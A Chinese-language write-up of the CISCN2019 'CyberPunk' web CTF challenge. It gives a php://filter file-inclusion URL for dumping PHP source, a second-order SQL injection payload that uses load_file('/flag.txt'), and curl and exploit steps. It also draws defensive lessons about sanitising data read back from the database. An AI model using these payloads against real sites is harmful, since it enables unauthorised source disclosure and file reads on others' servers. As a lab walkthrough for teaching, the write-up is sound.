CISCN2019 - Web - CyberPunk

CISCN2019 - Web - CyberPunk
Hunter结论先行:
php://filter读源码发现change.php的$row['address']未转义未过滤;用prepare把注入 payload 存进 address,改地址时触发二次注入,配合load_file('/flag.txt')读 flag。
题目信息
| 项 | 内容 |
|---|---|
| 比赛 | CISCN2019 |
| 方向 | Web |
| 难度 | 简单 |
| 环境 | 授权靶场(已脱敏) |
漏洞类型:PHP 源码审计 + 二次注入(Second-order SQL Injection)。
信息收集
源码审计 / LFI
首页 index.php 底部有一处注释 <!--?file=?-->,提示存在文件包含。通过 PHP 伪协议读取源码:
1 | /index.php?file=php://filter/convert.base64-encode/resource=index.php |
index.php 源码中,file 参数过滤了 phar|zip|bzip2|zlib|data|input|%00,但 php://filter 未被过滤,因此可以读取任意 PHP 源文件。
通过 LFI 读取全部源码,关键发现:
config.php:数据库连接root/root@127.0.0.1/ctfusers,且ini_set("open_basedir", getcwd().":/etc:/tmp")。confirm.php:插入订单时address字段使用prepare+bind_param(安全的参数化查询),可存储任意内容。change.php:修改地址时存在二次注入点。
漏洞分析
change.php 的二次注入点
1 | $address = addslashes($_POST["address"]); // 新地址做了 addslashes |
其中 $row['address'] 是从数据库读出的原始 address 值(第一次 insert 时存入的 payload),直接拼接进 UPDATE 语句,未经过 addslashes 也未经过 $pattern 正则过滤。
过滤只作用于直传字段
各页面都有一个 $pattern 正则过滤:
1 | $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i'; |
但该过滤只作用于 $_POST 直接传入的 user_name 和 phone。而 change.php 里 $row['address'] 来自数据库,绕过了正则过滤。这正是二次注入的本质:入库时看似安全,出库再拼 SQL 时失去保护。
利用过程
利用链分三步:
- 第一步:向
confirm.phpPOST,address字段存入注入 payload(prepare绑定参数,可存任意字符串,包括 SQL 注入代码)。 - 第二步:向
change.phpPOST 相同的user_name+phone,触发 UPDATE,old_address拼接进 SQL,执行注入。 - 第三步:向
search.phpPOST 查询,回读address字段(已被注入改写为子查询结果)。
读取 Flag
数据库 ctfusers 中只有 user 表(列:user_id, address, old_address, user_name, phone),flag 不在数据库里,需要读文件。
利用二次注入 + load_file() 读取 /flag.txt:
1 | payload = "x', address=(select load_file('/flag.txt'))#" |
完整 EXP
复现脚本清单(见本地 WP 归档 _cyberpunk/ 目录):
recon.py:首页信息收集dump_source.py:LFI 读取并解码全部 PHP 源码loadfile.py:二次注入 +load_file读 flag(最终利用脚本)
最终利用的核心 payload:
1 | # 第一步:向 confirm.php 存入注入 payload(address 由 prepare 绑定,原样入库) |
读源码命令(curl):
1 | curl "http://target:8080/index.php?file=php://filter/convert.base64-encode/resource=index.php" |
Flag
1 | flag{xxxx} |
踩坑与总结
| 要点 | 说明 |
|---|---|
| LFI | index.php?file=php://filter/convert.base64-encode/resource=xxx 读源码 |
| 二次注入 | change.php 的 $row['address'] 未转义未过滤,来自 DB |
| 过滤绕过 | $pattern 只过滤 $_POST 直传字段,二次注入点天然绕过 |
| flag 位置 | 不在 DB,通过 load_file('/flag.txt') 读取 |
- 参数化查询能保证「入库」安全,但数据出库后再拼进 SQL 仍可能引入注入,防护要覆盖数据的整个生命周期。
open_basedir限制配合load_file读文件,是 SQL 注入转任意文件读取的常用手段。- 注释里的
?file=?提示与「源码过滤了 data/input 却漏了 php://filter」是本题两个信息收集突破口。









